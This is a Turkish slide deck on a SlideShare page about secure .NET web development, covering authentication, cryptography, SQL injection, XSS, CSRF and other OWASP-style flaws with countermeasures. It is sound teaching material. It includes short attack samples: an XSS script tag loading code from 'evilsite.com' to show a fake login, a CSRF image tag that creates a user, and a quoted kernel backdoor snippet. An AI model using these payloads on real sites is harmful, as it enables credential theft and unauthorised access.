SlideShare a Scribd company logo

.Net ile yazılım güvenliği

1 of 38
.Net ile Yazılım
Güvenliği
A.Kutlu Ersoy,MSc.
.Net ile Yazılım Güvenliği
• Güvenli Uygulama ne demektir?
o Ağ Güvenliği
o Sistem Güvenliği
o Uygulama Güvenliği
o Veritabanı Güvenliği
o Disk Güvenliği
o Servis Güvenliği
o Kod Güvenliği
• Kriptografi (Şifreleme) Teknikleri
• Saldırıları Tanıma
• Korunma Yöntemleri
Neden güvenliğe
ihtiyacımız var?
1. Hidden Trapdoor in Linux, Nov 2003
Wait4() fonksiyonunun içine :
if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0))
retval = -EINVAL;
Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL);
2. ROB HARRIS CASE : Slot Machines
o Gaming Control Board ( bu cihazları test eden rob test ederken programa
kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor
makina)bir kişi bir seferde 100bin dolar kazanana kadar farkedilmiyor
3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir
sistemde telefon şirketinden itibaren kazanan kombinasyona
gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar
kazanana kadar farkedilmiyor)
Saldırıların artmasının
ardında yatan sebepler:
• Güvenlik konusunun akademik olarak tam anlamıyla
işlenmemesi
• Programlama kitaplarında güvenlik konularının
geçmemesi
• Oditing mekanizmasının olmaması (Attackların geç
farkedilmesi)
• C programlama dilinin unsafe çalışması*
• Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz
• Değiştirilmesi imkansız olan, içinde açıklar olan özellikle
eski programlar
• Müşterilerin güvenliği önemsememesi
• Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
Ağ ve Sistem Güvenliği
• Yazılımcı açısından bilinmesi gerekenler
• APN
• DOS Attacks .... Syn proxy ile korunma
• Windows Patches
• Malware & Virus
• Penetrasyon testi
Uygulama Güvenliği
• IIS nedir?
• ApplicationDomain nedir?
• Anonymous Access enabled =>
IUSR_MACHINENAME
• Authentication
Anonymous Authentication
Basic Authentication
Integrated Windows Authentication
Digest Authentication

Recommended

Web Saldırı Teknikleri & Korunma Yöntemleri
Web Saldırı Teknikleri & Korunma YöntemleriWeb Saldırı Teknikleri & Korunma Yöntemleri
Web Saldırı Teknikleri & Korunma YöntemleriTalha Kabakus
 
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıMobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin Atlatılması
Mobil Uygulama Güvenlik Testlerinde Sertifika Sabitleme Özelliğinin AtlatılmasıBGA Cyber Security
 
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web AtaklarıBGA Cyber Security
 
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   sonAçık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma   son
Açık kaynak kodlu uygulamalar ile adli bilişim labaratuarı kurma sonBGA Cyber Security
 
Angular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiAngular JS ve Node JS Güvenliği
Angular JS ve Node JS GüvenliğiBGA Cyber Security
 
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet AraştırmasıISTSEC 2013 - Fuzzy Tabanlı Zaafiyet Araştırması
ISTSEC 2013 - Fuzzy Tabanlı Zaafiyet AraştırmasıBGA Cyber Security
 
Microsoft Active Directory'deki En Aktif Saldirilar
Microsoft Active Directory'deki En Aktif SaldirilarMicrosoft Active Directory'deki En Aktif Saldirilar
Microsoft Active Directory'deki En Aktif SaldirilarAdeo Security
 
Binary Modification [Patching]
Binary Modification [Patching]Binary Modification [Patching]
Binary Modification [Patching]BGA Cyber Security
 

More Related Content

What's hot

Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıBGA Cyber Security
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiBGA Cyber Security
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...OWASP Turkiye
 
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARIMICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARIBGA Cyber Security
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...OWASP Turkiye
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıBGA Cyber Security
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman OzarslanSüleyman Özarslan
 
Owasp top ten 2017
Owasp top ten   2017Owasp top ten   2017
Owasp top ten 2017YEmreASLAN
 

What's hot (8)

Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım Kitapçığı
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
[OWASP-TR Uygulama Güvenliği Günü 2016] Muhammet Dilmaç - Ruby on Rails Web F...
 
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARIMICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI
 
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
[OWASP-TR Uygulama Güvenliği Günü 2016] Emre Kısa - HTTP Güvenlik Başlıkları ...
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14,  Suleyman OzarslanWAF atlatma yontemleri, Hacktrick14,  Suleyman Ozarslan
WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan
 
Owasp top ten 2017
Owasp top ten   2017Owasp top ten   2017
Owasp top ten 2017
 

Similar to .Net ile yazılım güvenliği

Aruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo SunumAruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo SunumÖzden Aydın
 
Writing Secure Code With .Net
Writing Secure Code With .NetWriting Secure Code With .Net
Writing Secure Code With .NetElif Bayrakdar
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİTulay Candar
 
Güvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxGüvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxanilyelken
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 
Siber güvenlik konferansı' 14 client-side security & csp (1)
Siber güvenlik konferansı' 14   client-side security & csp (1)Siber güvenlik konferansı' 14   client-side security & csp (1)
Siber güvenlik konferansı' 14 client-side security & csp (1)Mehmet Ince
 
Tek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYATek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYAÖzge Kaya
 
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14Siber Güvenlik Derneği
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMIErtugrul Akbas
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Siber güvenlik ve SOC
Siber güvenlik ve SOCSiber güvenlik ve SOC
Siber güvenlik ve SOCSerkan Özden
 
Web Uygulama Güvenliği
Web Uygulama GüvenliğiWeb Uygulama Güvenliği
Web Uygulama GüvenliğiMesut Güngör
 
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması Ertugrul Akbas
 
MShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik TeknolojileriMShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik TeknolojileriMSHOWTO Bilisim Toplulugu
 

Similar to .Net ile yazılım güvenliği (20)

Aruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo SunumAruba ClearPass’e Genel Bakış Ve Demo Sunum
Aruba ClearPass’e Genel Bakış Ve Demo Sunum
 
Writing Secure Code With .Net
Writing Secure Code With .NetWriting Secure Code With .Net
Writing Secure Code With .Net
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
 
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİCRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
CRYPTTECH NG ÜRÜNLERİ ÖZELLİKLERİ
 
Güvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxGüvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptx
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 
Siber güvenlik konferansı' 14 client-side security & csp (1)
Siber güvenlik konferansı' 14   client-side security & csp (1)Siber güvenlik konferansı' 14   client-side security & csp (1)
Siber güvenlik konferansı' 14 client-side security & csp (1)
 
Siber Güvenlikte Ofansif Yaklaşımlar
Siber Güvenlikte Ofansif YaklaşımlarSiber Güvenlikte Ofansif Yaklaşımlar
Siber Güvenlikte Ofansif Yaklaşımlar
 
Tek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYATek Kullanimlik Sifre (OTP) Ozge KAYA
Tek Kullanimlik Sifre (OTP) Ozge KAYA
 
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
Client-Side Security & csp - Mehmet İnce #SiberGuvenlikKonferansi 14.05.14
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Siber güvenlik ve SOC
Siber güvenlik ve SOCSiber güvenlik ve SOC
Siber güvenlik ve SOC
 
Eticaret Güvenliği
Eticaret GüvenliğiEticaret Güvenliği
Eticaret Güvenliği
 
Web Uygulama Güvenliği
Web Uygulama GüvenliğiWeb Uygulama Güvenliği
Web Uygulama Güvenliği
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması SIEM ve KVKK Teknik Tedbirlerinin  ANET SureLog SIEM  ile uygulanması
SIEM ve KVKK Teknik Tedbirlerinin ANET SureLog SIEM ile uygulanması
 
MShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik TeknolojileriMShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
MShowto.Org - Windows Server 2008 Güvenlik Teknolojileri
 

.Net ile yazılım güvenliği

  • 2. .Net ile Yazılım Güvenliği • Güvenli Uygulama ne demektir? o Ağ Güvenliği o Sistem Güvenliği o Uygulama Güvenliği o Veritabanı Güvenliği o Disk Güvenliği o Servis Güvenliği o Kod Güvenliği • Kriptografi (Şifreleme) Teknikleri • Saldırıları Tanıma • Korunma Yöntemleri
  • 3. Neden güvenliğe ihtiyacımız var? 1. Hidden Trapdoor in Linux, Nov 2003 Wait4() fonksiyonunun içine : if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0)) retval = -EINVAL; Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL); 2. ROB HARRIS CASE : Slot Machines o Gaming Control Board ( bu cihazları test eden rob test ederken programa kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor makina)bir kişi bir seferde 100bin dolar kazanana kadar farkedilmiyor 3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir sistemde telefon şirketinden itibaren kazanan kombinasyona gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar kazanana kadar farkedilmiyor)
  • 4. Saldırıların artmasının ardında yatan sebepler: • Güvenlik konusunun akademik olarak tam anlamıyla işlenmemesi • Programlama kitaplarında güvenlik konularının geçmemesi • Oditing mekanizmasının olmaması (Attackların geç farkedilmesi) • C programlama dilinin unsafe çalışması* • Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz • Değiştirilmesi imkansız olan, içinde açıklar olan özellikle eski programlar • Müşterilerin güvenliği önemsememesi • Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
  • 5. Ağ ve Sistem Güvenliği • Yazılımcı açısından bilinmesi gerekenler • APN • DOS Attacks .... Syn proxy ile korunma • Windows Patches • Malware & Virus • Penetrasyon testi
  • 6. Uygulama Güvenliği • IIS nedir? • ApplicationDomain nedir? • Anonymous Access enabled => IUSR_MACHINENAME • Authentication Anonymous Authentication Basic Authentication Integrated Windows Authentication Digest Authentication
  • 7. Uygulama Güvenliği • Anonymous Authentication: tüm kullanıcılar siteye erişir. • Basic Authentication: Windows logini ile authentikasyon yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı şifre ekranı açılır. • Digest Authentication: Basic Authentication gibi çalışır fakat authentication verisi sunucuya açık metin yerine hash kodu ile iletilir. • Forms Authentication: ASP.NET’s kendi authentication modelidir, login page ile giriş yapılmasını sağlar • Windows Authentication: NTLM veya Kerberos üzerinden Windows authentication protokolünü kullanır.
  • 8. Uygulama Güvenliği • web.config authorization • Web.config authentication providers : o Windows (default) o Forms o Passport o None <system.web> <!-- mode=[Windows|Forms|Passport|None] --> <authentication mode="Windows" /> </system.web> • Event logging
  • 9. Uygulama Güvenliği • Sertifika kullanımı o VERISIGN o GEOTRUST o COMODO o GLOBALSIGN o vs... o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html o E-Guven o KamuSM
  • 10. Kriptografi • Hashing (MD5 => SHA-2(c# : SHA512Managed)) o Password Hashing o URL Hashing • Örnek uygulama...
  • 12. • Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.) Rijndael Key length 128, 192 and 256 bit • Asimetrik Şifreleme (ör:DSA, RSA) Kriptografi
  • 13. Kriptografi • E-İmza • Kullanacağınız sertifikaları Devlet'in sertifika dağıtmaya izin verdiği belirli ESHS adı verilen kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden aldığınız (Verisign gibi) sertifikalar yasal olarak anlamlı değildir. • https://yazilim.kamusm.gov.tr/
  • 14. Kriptografi • E-İmza ile nasıl imza atılır? byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, load the sender private key into DSACryptoService here. //Create an DSASignatureFormatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA); //Set the hash algorithm to SHA1. DSAFormatter.SetHashAlgorithm("SHA1"); //Create a signature from the hash byte[] signature = DSAFormatter.CreateSignature(hash);
  • 15. Kriptografi • E-İmza nasıl doğrulanır? byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create an DSASignatureDeformatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureDeformatter DSADeformatter = new DSASignatureDeformatter(DSA); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, the sender public key into DSACryptoService here. //get the signature sent with the message byte[] signature = GetMessageDigitalSignature(); //Verify the hash and the signature if (DSADeformatter.VerifySignature(hash, signature)) { MessageBox.Show("The signature was verified."); } else { MessageBox.Show("The signature was not verified."); }
  • 16. Kod Güvenliği • Disassembler ile kodun açılmasına karşı önlemler o .Net Protector o IL Protector o SmartAssembly o Xenecode Fox ** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki kodu değiştirebiliriz. *** Web projelerinde publish işleminden sonra oluşan ana kütüphane parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız. Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod encrypt yapabilirsiniz.
  • 17. HttpHandler • Dosyalara erişimi kontrol altına almak için kullanılabilir. • Portal sitelerinde ürün resmi üzerine brand eklemek için kullanılabilir. • Örnek uygulama...
  • 18. WCF - Servis Güvenliği • İstemci – Servis iletişimi güvenliği : Message Level – Transport Level • Authantication:Windows, Kullanıcı Adı/ Şifre, X509(Sertifika), Özel(Biometric), None • http://codebetter.com/petervanooijen/2010/03/22 /a-simple-wcf-service-with-username-password- authentication-the-things-they-don-t-tell-you/
  • 19. Sql injection • Web Uygulama Güvenliği Konsorsiyum'una (WASC) göre 27 Temmuz 2006 tarihine kadar medyada rapor edilen hack olaylarının %9'u SQL Enjeksiyon saldırılarından kaynaklanmıştı. Araştırmalarda elde edilen daha güncel veriler web sitelerinin %50'sinin SQL Injection saldırılarından etkilendiğini ortaya koydu.
  • 20. Sql injection • En popüler otomatik web uygulama güvenliği tarayıcılarından bazıları: Acunetix Watchfire WebInspect • Kaynak: http://www.acunetix.com/websitesecurity/ sql-injection2.htm
  • 21. Sql injection • Db üzerinden administrator hakkı ile neler yapılabilir? o Install backdoors o Transfer an entire database over port 80 o Install network sniffers to steal passwords and other sensitive data o Crack passwords o Enumerate your internal network, including scanning the ports of other machines o Download files o Run programs o Delete files o Become part of a botnet o Query autocomplete passwords stored on the system o Create new users o Create, delete and edit data; create and drop tables
  • 22. Sql injection • Nasıl korunurum ? • 1.string safeSql = "select * from users where loginId = " + userInp ut.Replace("—-", "") .Replace("'","''") .Replace("%",""); • 2. Parameterized Query / SP / sp_executesql DECLARE @name varchar(20) DECLARE @sql nvarchar(500) DECLARE @parameter nvarchar(500) /* Build the SQL string one time.*/ SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na me Or LastName Like @Name +''%'''; SET @parameter= N'@Name varchar(20)'; /* Execute the string with the first parameter value. */ SET @name = 'm%'; EXECUTE sp_executesql @sql, @parameter, @Name = @name; • 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
  • 23. Cross-Site Scripting (XSS) • Nedir? Kullanıcı browserına zararlı script enjekte etmektir. • Reflected(js ile sayfaya script gömme) vs Consistent(bu scriptin dbye yazılmasıdır artık geçmiş olsun) http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi güncellendi <div class="messages"> <%=Request.QueryString["msg"]%>< /div> Nasıl kullanılır? msg=<script src=‘http://evilsite.com/evil.js’>ShowFakeLoginDialog() İle kendi login ekranını açtırır, bu dialogu sitenin veya banka login ekranına benzetir. Hata 2 : <img onmouseover=alert([user supplied text])>
  • 24. Cross-Site Scripting (XSS) En çok forum sitelerinde karşılaşılır.string herhangi bir değer html encoded dan geçmemiş ise bu saldırıya açıktır. Neler Yapabilirim : • Cookilere ulaşırım • Login bilgilerini alırım
  • 25. Cross-Site Scripting (XSS) Nasıl Tespit Ederim: ZAP: Zed Attack Proxy toolu ile tarama yaparım.
  • 26. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 1. Outputlarımın HTML-Encoded olduğunu kontrol etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode) • 2. Kullanıcının girdiği stringi HTML Element attributelarına set etmem. • 3. Request.Browser ile IE6 kullanımını kısıtlarım. • 4. Web.configde veya pagede ValidateRequest=‘false’ yapmamalıyım. • 5. frame ve iframe’de security bilgisi ekle. <frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  • 27. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 6. ASP.NET MVC 3’de public class BlogEntry { public int UserId {get;set;} [AllowHtml] public string BlogText {get;set;} }
  • 28. Cross-Site Request Forgery (CSRF) Admin yetkisi ile yaptığın işlem ile ilgili olarak sana gönderilen bir mail içinde <img src='yoursite/createuser.aspx?id=hacked&pwd=hacked' /> kodu bulunuyor, farkında olmadan çalıştırmış oluyorsun. Nasıl önlerim? GET ile herhangi bir operasyon yapacak kod yazmamalıyım.
  • 29. Cross-Site Request Forgery (CSRF) void Page_Init(object sender, EventArgs e) { if (Session.IsNewSession) { // Force session to be created; // otherwise the session ID changes on every request. Session["ForceSession"] = DateTime.Now; } // 'Sign' the viewstate with the current session. this.ViewStateUserKey = Session.SessionID; if (Page.EnableViewState) { // Make sure ViewState wasn't passed on the querystring. // This helps prevent one-click attacks. if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) && string.IsNullOrEmpty(Request.Form["__VIEWSTATE"])) { throw new Exception("Viewstate existed, but not on the form."); } } }
  • 30. Cross-Site Request Forgery (CSRF) MVC de CSRFi önlemek için ne eklemeliyim? @using (Html.BeginForm()) { @Html.AntiForgeryToken(); @Html.EditorForModel(); <input type="submit" value="Submit" /> } Decorate any controllers that accept post data with the [Validat e-AntiForgeryToken], like so: [HttpPost] [ValidateAntiForgeryToken()] public ActionResult Index(User user) { ... }
  • 31. Parametrelerle Oynama (Parameter Tampering) • http://server/EditUser.aspx?userID=15 string userId = Request.QueryString["userId"]; var user = LoadUser(userId); Hata 2. Hidden da userID’yi tutmak Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin). • MVC’de binding security kontrolü için : [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Exclude="UserId")] Order order) { .... Save(); }
  • 32. Broken Authentication and Session Management • Tam olarak güvenliği sağlanmamış ( örneğin md5 veya benzeri bir algoritma ile korunmamış) oturum nesneleri ve çerezlerinin ele geçirilip kötü amaçlar için kullanılmasıdır.
  • 33. Broken Authentication and Session Management • Kullanıcı şifreleri hashli veya encrypted mı tutuluyor? • Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya CSRF ile değiştirilebiliyor mu? • Parameter tempering ile kullanıcı id değiştirilebiliyor mu? • Session timeout set edildi mi? • Nasıl tespit ederim? Firefox HackBar plug-in’i kurar ve kullanırım.
  • 34. Insecure Direct Object References • Resourceslara veya sayfalara yetkisiz erişimi kontrol etmeliyim. • Sayfalara erişim için kontrol ettim ama resource dosyalarına erişim için ne yapabilirim? httpHandler • Nasıl tespit ederim? Burp Suite uygulaması ile tarama yaparım.
  • 35. Security Misconfiguration • Path traversal bunlardan biridir. IIS de IISPool kullanıcısı ile çalıştığından roota çıkamaz, kendi userımı açıyorsan uygulama için o zaman klasor yetkilendirmesini de yapmalıyım. • OS, DB, Firewall, IIS güncellemelerini güncel tutmalıyım. • Kullanılmayan portlar, servisler, sayfalar, hesaplar ve yetkiler kaldırılmalıyım, ayrılan kullanıcının accountunu durdurmalıyım. • Nasıl kontrol ederim? Watobo
  • 36. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri gibi dataların açıkta bırakılmasından kaynaklanır. Attackerların tespit etmesi kolay değildir. • Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya mali ne kadar bize zarar verir? • İçerdeki saldırıları göz önünde bulundurmalıyım.
  • 37. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Nasıl korunurum? • Sertifika kullanırım. • Autocomplete’i ilgili sayfalarda kapatırım. <form id="Form1" method="post" runat="server" autocomplete="off"> <asp:TextBox Runat="server" ID="Textbox1" autocomplete="off"></asp:TextBox>